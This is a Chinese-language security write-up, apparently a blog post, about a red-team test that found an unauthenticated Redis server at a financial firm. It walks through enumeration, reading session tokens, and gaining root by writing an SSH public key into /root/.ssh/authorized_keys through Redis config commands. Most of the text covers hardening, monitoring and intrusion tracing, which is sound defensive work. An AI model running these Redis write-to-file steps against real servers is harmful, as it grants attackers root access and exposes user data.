1. 案例背景与问题发现
去年在一次企业级红蓝对抗演练中,我负责对某金融系统进行安全测试。在信息收集阶段,通过端口扫描发现目标服务器开放了6379端口,这是Redis数据库的默认服务端口。尝试使用redis-cli连接时,发现无需任何认证即可直接访问,这意味着存在典型的Redis未授权访问漏洞。
这种漏洞的危害性极高,攻击者可以直接读取、修改甚至清空数据库内容。在金融场景下,可能导致用户敏感信息泄露、交易数据篡改等严重后果。更危险的是,通过Redis的持久化功能,攻击者还能实现远程代码执行,完全控制服务器。
注意:Redis默认安装后没有启用认证机制,且默认监听所有网络接口(0.0.0.0)。这是许多企业内网中高频出现的配置疏漏。
2. Redis未授权访问漏洞原理
2.1 Redis默认配置风险
Redis在设计之初主要考虑性能因素,默认配置存在几个安全隐患:
- 无密码认证(requirepass参数默认为空)
- 默认绑定所有网络接口(bind 0.0.0.0)
- 默认以root权限运行(如果安装时未指定用户)
在Linux系统中,使用netstat -antp | grep 6379命令可以看到Redis的监听情况。典型的危险配置输出如下:
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 1234/redis-server2.2 攻击面分析
利用未授权访问漏洞,攻击者可以:
- 信息泄露:通过
keys *命令遍历所有键,获取敏感业务数据 - 数据破坏:使用
flushall清空数据库,或修改关键业务数据 - 权限提升:通过写入SSH公钥或crontab任务实现系统提权
在本次案例中,我们通过info命令发现目标Redis版本为5.0.7,存在已知的漏洞可以利用。以下是关键信息收集命令示例:
127.0.0.1:6379> info # Server redis_version:5.0.7 os:Linux 4.15.0-112-generic x86_643. 漏洞利用过程实录
3.1 信息收集阶段
首先确认漏洞存在性:
redis-cli -h 目标IP -p 6379连接成功后,执行以下操作:
- 查看数据库配置:
config get * - 列出所有键:
keys * - 检查持久化设置:
config get dir+config get dbfilename
在实际测试中,我们发现目标系统将Redis作为会话存储,包含大量用户token信息。通过get命令可以提取具体会话数据:
127.0.0.1:6379> get "session:user:10086" "{\"username\":\"admin\",\"last_login\":\"2023-05-15T08:23:17Z\"}"3.2 权限提升操作
利用Redis写文件功能实现系统权限提升的操作流程:
- 生成SSH公钥:
ssh-keygen -t rsa -C "attacker@example.com"- 将公钥写入Redis:
127.0.0.1:6379> config set dir /root/.ssh 127.0.0.1:6379> config set dbfilename "authorized_keys" 127.0.0.1:6379> set x "\n\nssh-rsa AAAAB3N...attacker@example.com\n\n" 127.0.0.1:6379> save- 通过SSH登录目标服务器:
ssh -i id_rsa root@目标IP关键点:此方法需要Redis以root权限运行,且.ssh目录存在。实战中可能需要尝试多个路径。
4. 防御方案与修复建议
4.1 紧急处置措施
发现漏洞后应立即:
- 限制网络访问:
iptables -A INPUT -s 可信IP -p tcp --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP- 启用认证:
127.0.0.1:6379> config set requirepass "复杂密码" 127.0.0.1:6379> config rewrite- 降权运行:
useradd -M -s /sbin/nologin redisuser chown -R redisuser:redisuser /var/lib/redis4.2 长期防护策略
- 网络层防护:
- 修改bind配置为127.0.0.1(如果只需本地访问)
- 使用安全组限制访问源IP
- 服务层加固:
# 修改redis.conf requirepass 强密码 rename-command FLUSHALL "" rename-command CONFIG "" protected-mode yes- 监控与审计:
- 启用Redis的slowlog监控异常命令
- 部署ELK收集Redis日志
- 定期检查authorized_keys文件完整性
5. 排查与溯源技巧
5.1 入侵痕迹检查
- 检查Redis历史命令:
cat /var/log/redis/redis.log | grep -E "(CONFIG|SET|FLUSH)"- 排查可疑文件:
# 检查最近修改的文件 find / -type f -mtime -1 -ls | grep -v "proc\|sys" # 检查.ssh目录 ls -la /root/.ssh/authorized_keys- 查看crontab异常任务:
crontab -l ls -la /etc/cron.*/5.2 安全加固检查清单
建议定期执行以下检查:
- 端口开放检查:
netstat -antp | grep 6379- 认证测试:
redis-cli -h 目标IP -p 6379 ping # 正常应返回NOAUTH错误- 权限检查:
ps aux | grep redis-server | grep -v grep # 不应显示root用户运行6. 企业级防护方案
对于金融等关键系统,建议采用纵深防御策略:
- 网络架构:
- Redis不直接暴露在公网
- 部署于独立VPC或安全域
- 通过跳板机访问
- 服务部署:
- 使用Kubernetes部署时配置NetworkPolicy
- 启用TLS加密通信
- 定期升级Redis版本
- 安全运维:
- 使用Vault管理密码
- 实现命令白名单
- 部署基于AI的异常命令检测
我在实际企业安全建设中发现,80%的Redis安全事件源于:
- 测试环境暴露公网
- 容器化部署未配置网络策略
- 遗留的临时配置未及时清理
最后分享一个实用命令:使用redis-cli的--stat参数可以持续监控Redis状态,及时发现异常连接:
redis-cli -h 目标IP -p 6379 -a 密码 --stat